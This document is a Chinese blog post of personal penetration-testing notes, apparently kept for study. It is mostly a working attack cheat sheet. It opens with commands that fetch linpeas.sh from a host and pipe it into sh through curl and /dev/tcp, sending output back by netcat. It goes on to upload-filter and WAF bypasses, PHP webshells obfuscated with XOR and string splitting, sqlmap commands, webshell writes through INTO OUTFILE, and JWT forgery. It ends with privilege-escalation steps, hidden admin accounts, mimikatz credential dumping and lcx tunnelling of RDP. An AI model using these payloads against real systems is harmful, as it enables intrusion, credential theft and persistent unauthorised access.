网络安全学习笔记(杂记)

基础知识点

  1. url大小写判断windows(不敏感)和linux(敏感)服务器
  2. bugscanner.com、 云悉 等cms识别
  3. awvs,nessus,appscan,netsparker漏洞扫描工具
  4. fuzzscaner 信息收集工具
  5. 反向连接 用 域名映射或代理 防止被追踪
  6. #本地网络

sudo python -m SimpleHTTPServer 80 #主机 开启简单服务器,开启下载服务

curl 10.10.10.10/linpeas.sh | sh #受害者 curl下载恶意文件

#没有 curl

sudo nc -q 5 -lvnp 80 < linpeas.sh #主机

cat < /dev/tcp/10.10.10.10/80 | sh #受害者

#从内存中执行并将输出发送回主机

nc -lvnp 9002 | tee linpeas.out #主机

curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #受害者

 

待办【

python 调用sqlmap api

w3af

php伪协议

sqlmap绕过token保护

通过 目录扫描 得到tmp里的session文件,然后通过bs改包替换cookie里phpsessid,即可登陆,绕过session验证

文件上传getshell 验证绕过 注意组合使用

1、修改本地js 或bs修改

2、修改 content-type文件类型

3、空格绕过

4、点绕过

5、末尾 点+空格+点+空格--》1.php . . . \1.php. . .

6、大小写绕过

7、双写绕过

8、文件后缀末尾加::$data--》php+windows:文件名+"::$DATA",会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名

9、.php5等绕过黑名单-- 前提条件 httpd.conf--》 AddType application/x-httpd-php .php .phtml .phps .php5 .pht

10、上传.htaccess文件绕过(无文件名)--文件内容 SetHandler application/x-httpd-php --》所有文件都会当成php来解析

11、注意get\post获取的地址,%00截断拼接的地址(post的地址 %00需要url编码)

12、图片马+利用文件包含漏洞--注意修改模版有此漏洞

13、%00截断--需要php版本低5.3

14、增加post里数组的项

黑白名单绕过:bs穷举+大小写(全部或首字母) 暴破

iis6.0文件名解析漏洞 xx.asp;.png--aspx不支持;分割

iis6.0文件夹目录解析漏洞 x.asp/1.png--aspx,php不支持 ,x.asp是文件夹

descript

文件包含漏洞--进入后台,模版管理,修改模版--将url里模版文件名改为网站里能访问的x.php,在php里添加一句话木马,菜刀连接x.php。

http://59.63.200.79:8003/bluecms/uploads/admin/tpl_manage.php?act=edit&tpl_name=ann.htm

----》

http://59.63.200.79:8003/bluecms/uploads/admin/tpl_manage.php?act=edit&tpl_name=../../news_cat.php

http头注入

sqlmap -u "http://pikachu.com/vul/sqli/sqli_header/sqli_header.php" --batch --dbms=mysql --current-db --cookie="ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=8s5qgb2gu14ovr64805877d9u1" --user-agent=*

sqlmap -r 1.txt --设置txt内容 User-Agent: *

--tamper unmagicquotes.py ----宽字节注入绕过

fuzzdb.github, ftplib,optparse 模块 --python爆破ftp

异或运算 过免杀 无字符后门 -- '!' ^ '@' -->‘a’

<?php $a='!' ^ '@' .'ssert' ; $a($_POST['x']); ?>

for i in range(1,127):

for j in range(1, 127):

k = i ^j

if chr(k)=='a':

print("{0}^{1}={2}". format( chr(i),chr(j),chr(k)))

pocsuite.github---远程漏洞验证

靶场---dvwa,皮卡丘,bwapp,sqli-labs,upload-labs,xss小游戏,xxe-labs,wargames,metasploitables,hackthebox

seeker.github---定位地理位置

sqlmap设置--cookie,需设置-level 2,且需base64编码脚本

sqlmap -u "http://sqlilabs.com/Less-21/" --cookie="uname=*" --tamper="base64encode" --level 2 --dbms=MySQL --current-db

-D -T -C --dump

针对id有编码的情况:

sqlmap -u "http://sqlilabs.com/Less-1/?id=*&a=2" --dbms=mysql --current-db --flush-session --fresh-queries --batch --tamper="base64encode.py" -p "id"

order by 3# 与 order by 3--+

在浏览器url中,#是用来知道浏览器动作(例如锚点),对服务器端没有效果。

可以用 # 的url编码 即%23代替

在浏览器中,url中的+解析为空格。

在myslq中,--' 是的 -- 与 单引号 连接在一起,不能形成正确的sql语句,而 --空格 则可以。

所以在浏览器的url中用 --+ 或--'使服务端能够正确注释sql语句

1、如何解决cmd添加用户被杀毒软件阻止?----提权至system

2、x.php?id=MQ== 这类参数加密的情况,啊d,明小子等爆破工具还能用吗?是否只能手工暴库?----sqlmap 自写python脚本

利用注入读取或写入文件:

读文件:搜索( xx框架 爆路径),通过 load_file()读取文件内容,可读取配置文件

写文件:union select '<?php eval($_POST['x']);?>' into outfile '文件路径',可写webshell,然后菜刀连接

魔术引号:自动加反斜杠给路径,可通过编码(16进制)或宽字节绕过,二次注入绕过

无回显注入:and sleep (if(datebase()=='x',5,0)) 手工破解:先判断database长度,在判断每一位的值a~z、0-9等,得到数据库名,配合各种函数

二次注入:先insert恶意数据admin'#,在select出来时,即可注入或修改密码时,update掉admin的密码。例如:注册然后登陆

dnslog注入:解决盲注无回显的情况 www.ceye.io

  1. 有些函数的使用操作系统的限制。
  2. dns查询有长度限制,所以必要的时候需要对查询结果做字符串的切割。
  3. 避免一些特殊符号的产生,最好的选择就是数据先编码再带出。
  4. 注意不同数据库的语法是有差异的,特别是在数据库拼接的时候。
  5. 有些操作是需要较高的权限。

sqlmap 通过插件跑 中转 ,访问带注入的url。python sqlmap.py -u "127.0.0.1/test.php" -v 3

例如:127.0.0.1/test.php?x=... 中转脚本

<?php

$url = "xx.php?id=";

$x=base64_encode($.GET['x']);

file_get_content($url.$x);

?>

堆叠注入:多条sql语句执行,当无法解密密码时,可以尝试插入自定义的新用户数据

sql注入过waf: py脚本跑unionselect.txt里的匹配项

更改提交方式 get->post、cookie等----id=1 and 1=2 union select 1,2 cookie注入时,把空格换成+,防止出错

用注释符拆分关键字 database/**/()

注释符 %23 换行符%0A-->

union %23a%0A select 1,2,3 ==>

union #a

select 1,2,3

参数污染:id=1 /** &id=-1 union select 1,2,3*/

仿百度爬虫白名单绕过,避免用工具扫时ip被限制

文件上传:黑白名单、后缀名、文件头检测,mime信息content-type

apache专用:先上传.htaccess文件,再上传与htaccess里同名xxx的png一句话木马图片,访问png图片,即可执行php代码

.htaccess内容如下:

<FilesMatch "xxx">

Sethandler application/x-httpd-php

</<FilesMatch>

%00截断,需URL解码。upload/xx.php/. 冒充文件夹

图片上传,二次渲染,先上传在保存

文件上传过waf:

想办法干扰waf匹配的引号内容

修改数据包: filename="x"x.php; filename="/png;/x.php"; 斜杠注释

或filename="x.

p

h

p"

用换行干扰waf匹配

%00截断

大数据污染--n个 filename="x.png";后接filename="x.php";

fuzz字典结合bs工具穷举绕过waf --> filename="$x.png$";

xss:app反馈,获取管理员cookie xss平台

获取cookie条件:有漏洞,浏览器不阻止js运行,管理员已登陆,最后触发

【webshell箱子】xss反杀后门中的后门

【beef】浏览器攻击工具 【 xsstrike】 --xss扫描工具,识别并绕waf

xss触发条件、利用场景:管理员主动查看的地方

服务器有session验证,xss盗取的cookie无用

管理员已登陆,并点了添加用户的连接(xss),即可添加新用户,例如:

x.com/adduser.php?uname=a&pwd=b。

csrf:跨站请求伪造 伪造一个url,让用户去访问,例如引诱管理员添加新管理员

ssrf:服务端请求伪造 服务器提供了从其他服务器获取数据的功能。 让web服务器去访问url,例如上传图片是远程图片的url

反引号 执行代码 <?php echo `whoami`; ?>

文件包含:远程包含--可自定义包含内容(一句话木马),菜刀连接

遇到include($input_file, "html")时,1、%00截断 低版本有效 2、填充垃圾数据,使超过系统规定长度 3、%20 %23 ? 等截断

【各种协议流玩法】--文件包含 伪协议

windows 不区分大小写,linus区分,因此可以用来判断服务器系统类型

易酷cms文件包含漏洞:x.php?file=my/show/~eval('$_POST[x]') 提示无此模版,把一句话木马写入日志,报错把日志路径显示出来,菜刀连接此日志即可

pkav http fuzzer 验证码识别工具---局限性大

BS 插件 captcha-killer ----验证码识别 -强

验证码 绕过:

  1. 抓包 第一次用正确的验证码+错误的用户名,密码,提示username or password 错误,第二次用正确的验证码+错误的用户名,密码,继续提示username or password 错误,则 验证码可复用。

ro0AB 开头的数据:java序列化之后base64加密的数据

aced开头的数据:Java16进制序列化的数据

XXE xml外部实体注入 【网站有xml数据传输】(可读取文件) xxeinjector 注入工具

JWT 修改数据,绕过密钥+签名:{头部 alg:none ,数据:按需修改,签名去掉 }

攻击jwt:1、伪造 无密钥,修改alg,删除签名 2、有密钥,修改数据后重新加密

jwt.io 在线加解密

nmap 、nessus、goby忍者系统 -----漏洞扫描工具

metasploit、searchsploit ----------漏洞利用工具

各种cmsScan工具,框架漏洞扫描 利用工具

漏扫工具 过waf---代理池(付费 隧道代理)+延时访问+或爬虫引擎

webshell过waf:变量覆盖、加密混淆、异或-----编码解码

  1. 把关键字当作参数传递

<?php

$a=$_GET['x'];

$$a=$_GET['y'];

$b($_POST['z']);

?>

1.php?x=b&y=assert; z=phpinfo();

  1. 前端url参数加密,后端代码解密

1.php?x=b&y=assert; z=base64.encode( phpinfo());

.....

$b(base64.decode($_POST['z']));

  1. 菜刀、蚁剑、冰蝎 等操作会被拦截,特征码被识别,自定义post内容,实现操作目的

z=var_dump(scandir('.')); z=file_put_contents('1.txt','aaa');

sql注入过宝塔:%00/* --截断/*

4、拆分关键字,然后拼接

post_data=$x='asse';$y='rt';$z=$x.$y;$a=str_replace('x','pxhpxinfo();');$z($a); 或

1.php?b=rt -----$y=$_GET['b'];会被宝塔拦截

post_data=$x='asse';$y=$_REQUEST['b'];$z=$x.$y;$a=str_replace('x','pxhpxinfo();');$z($a);

变量覆盖,配合文件包含攻击--审计搜关键字 $$

<?php

include 'xx.php';//1、包含变量覆盖的配置文件

$file="1.php";//2、存在包含函数和可控变量-- 参数覆盖 $file,一句话木马 a.php?file=....

include($file);

?>

mysql monitor client--sql监控工具

windowsvulnscan---补丁筛选工具

xshell--远程连接工具

数据库提权:

udf提权、webshell上传php爆破脚本运行(解决数据库不支持外连情况)或大马执行sql开启外连(msf攻击靶机添加启动项,mof提权最差)、msf反弹 本机msf nc -l -p 5555 (大马执行select backshell('ip',port))

select version(),select @@basedir, select load_file(path) into dumpfile (path)--替换文件

sqlserver提权:

xp_cmdshell或sp_oacreate提权,需执行命令开启

沙盒提权

oracle提权:oracleshell提权工具(冰蝎作者)

redis 未授权 漏洞

windows提权:------

msf 令牌窃取 提权(获取会话-利用模块-窃取令牌-提权 win2008&7以下),需要足够高的权限才能窃取,iis权限不能窃取

进程注入 提权(win2008以下)

web权限配合烂土豆 实现令牌窃取

dll劫持 提权 --鸡肋

无exp可用时:

不带引号的服务路径配合msf 提权(cmd命令检测筛选不带引号的服务路径--利用路径制作文件并上传--重启服务--调用后成功)

accesschk.exe 本地提权

and 1=2 union select null,null,null... null避免类型匹配错误

---搜索 服务器安装msf

linux提权:

上传到tmp目录,可读可写

提权自动化的4个脚本利用:----可能更新不及时,需二次开发

2个信息收集文件:linenum.sh linuxprivchecker.py

2个漏洞检测文件:linux-exploit-suggester.sh ,linux-exploit-suggester2.sh

suid--set user id

sgid--set group id

suid提权----类似以root权限运行文件 chmod +x 文件

nmap vim less more nano cp mv find 对比这8个,有则可以提权

chmod u+s 文件 给文件添加suid

chmod u-s 文件 删除文件的suid

脏牛内核漏洞提权

进入数据库 进行udf导出

create table foo;

insert into foo values(load_file('xx'));

select * from foo into dumpfile 'yy'

----为什么先把payload文件内容导入数据库,在导出到文件?

--借用数据库的root权限,否则直接copy,执行payload权限不够

内网:

域控:linux不适合域控

windows:mimikatz--先获取webshell权限,然后提权至system,在运行-获取管理员密码

procdump64--从 lsass.exe进程里导出一个 包含账号密码信息的lsass.dmp 文件,再把这个dmp文件传回来,最后在自己的环境下运行mimikatz,从 dmp文件里读取信息

各种协议服务口令获取工具--xenarmor(付费),lazagne(全平台--鸡肋)

探针域内存活主机及地址信息

nbtscan -- 鸡肋,被查杀

系统命令-- for 循环 ping ,不易被杀

nmap,masscan

第三方powershell脚本--nishang(推荐),empire

Ladon--大杀器

x.php?id=MQ== 即 id=1,参数采用了base64编码,扫描注入点时,需先base64解密参数,然后把 id=1 and 1=1 用base64再次编码,带入到URL访问

超级ping 查看网站是否有cdn(ip有多个)

若有cdn,则需绕过cdn,获取主站真实ip:(不一定准确)

  1. 超级ping 不带www试试,也有可能是cdn
  2. get-site-ip.com 搜索或 https://tools.ipip.net/cdn.php 选择国外落后地点ping国内网址
  3. 通过接受到的邮件,查看邮件网页源代码,找到ip,或者查看网站备案号、地址分析
  4. zmap扫描,易语言版fuckcdn、python版w8fuckcdn

x.php?x=../../1.php 目录遍历漏洞 (例如x=../../inc/config.php 根目录下有inc/config.php),文件下载漏洞 类似

文件上传漏洞:1、禁用本地js 2、bs抓包修改文件后缀

x.php?id=123 and page =1,工具爆破的时候,注意调整参数id到最后=》page=1 and id =123

判断注入点:

老方法:id=1 and 1=1 ==> id=1 and 1=2

新方法:id=1xxx 页面不正常就有注入点

wafw00f --waf识别工具

根据响应头,确定是哪种服务器,若是apache,域名后加phpmyadmin,看能否进入数据库管理页,宝塔默认端口8888

nmap扫不到,有可能是把内网80端口映射到外网

万能登陆口令 admin' or 1=1 -- 或 admin' --

 

net user name$ /add 隐藏用户

菜刀 虚拟终端 执行 net user 显示[Err]拒绝访问,就是cmd.exe拒绝访问

菜刀上传cmd.exe,执行setp x:/xx路径/cmd.exe,设置命令执行的cmd.exe

还不能添加用户,尝试系统漏洞提权exp--cmd systeminfo,查看安装了多少补丁,bugs.hacking8.com/tiquan到这里对比补丁,然后利用系统漏洞, cmd pr.exe "net user a /add",

指令需要在exp里执行

技巧:上传文件或写马文件,通过写马文件,写入shell

常用扫描工具:啊D 明小子 pangolin穿山甲 nbsi awvs

fckeditor 上传图片(xx.aspx;jpg)漏洞,拿webshell,有专门的漏洞利用工具

havij ---自动化注入工具

type越权漏洞---cmd type "d:\a\b\c.txt" 输出TXT内容

永恒C段检测工具

上传webshell时,提示拒绝访问或不可写等,C盘迅雷目录可读可写(也可先pr.exe-wmiprvse.exe 提权)

后白管理系统:更改模版,往模版里写入一句话木马,用模版更新主页,菜刀连接主页

netfuke.exe 劫持服务器(先拿到webshell,添加user,远程桌面,运行netfuke)

IntelliTamper--网站目录扫描工具

www.xx.com/abc.mdb--abc.mdb需要用站长工具网的URL编码,才能下载该数据库文件

用ip访问比用域名访问或扫描,有意外的惊喜,ip属于域名的上一级目录

网站安全设置里:上传目录可能没有脚本执行权限,所以webshell不能被执行----换目录上传

https://vulhub.org 漏洞靶场

https://bugs.hacking8.com/tiquan/ 提权辅助页

【视频:2暗月渗透入侵教程第一季\第10节 高难度入侵内网服务器,值得学习

入侵内网:当上传lcx.exe不成功是,先上传vbs脚本,利用vbs脚本上传文件,执行命令:

cscript c:\iget.vbs http://www.moonhack.com/lcx.txt c:\lcx.exe

descript

【视频:2暗月渗透入侵教程第一季\第35课指定入侵实例,值得学习

御剑 扫旁站,批量扫后台,fck上传webshell,需要修改本地验证代码,cmd拒绝访问,重新上传cmd.exe,

脚本(啊d或其他vbs)找可读可写目录,有时目录不可访问但可写,不可写但可访问。

跨目录访问被禁止,尝试copy命令 大马文件到目标站点目录,然后连接目标站大马文件,ok成功。

当copy命令不成功时,只能type path/xx.php 输出文件内容了,特别是配置文件,前提是扫描

到有该文件 或者 for命令输出所有文件路径

3月6日 内网提权

假设通过文件上传,拿到webshell。2012.asp

如果不允许cmd.exe ,可以自己上传一个cmd.exe(用菜刀,蚁剑)

提权:1、whoami ->network  service (很低的权限) 

2、systeminfo(有可能没有回显,去找相应的exp去提权)

3、提权工具与补丁对比(红色的)《pr.exe》

4、c:\Inetpub\wwwroot\80--test\pr.exe “whoami”  —>变成系统权限

5、添加用户 test\pr.exe “net user bihuo 123456 /add”

6、添加到管理员组 test\pr.exe “net localgroup administrator bihuo /add”

7、net  user 查看

8、“net user bihuo$ 123456 /add” 添加$ 符号,会在net user出隐藏

9、 netstat -anp tcp  查看开放端口的状态

10、上传3389.exe

11、c:\Inetpub\wwwroot\80--test\pr.exe “c:\Inetpub\wwwroot\80—test\3389.exe”

12、自己:lcx -listen 3333 3389(有人连3389 ,转到我这个1111上面来)

13、目标:c:\Inetpub\wwwroot\80—test\lcx -slave 192.168.31.160 1111 127.0.0.1 3389 ()

14、本地127.0.0.1:3389

 

descript

posted @ 2023-03-24 22:16  hello_bao  阅读(165)  评论(0编辑  收藏  举报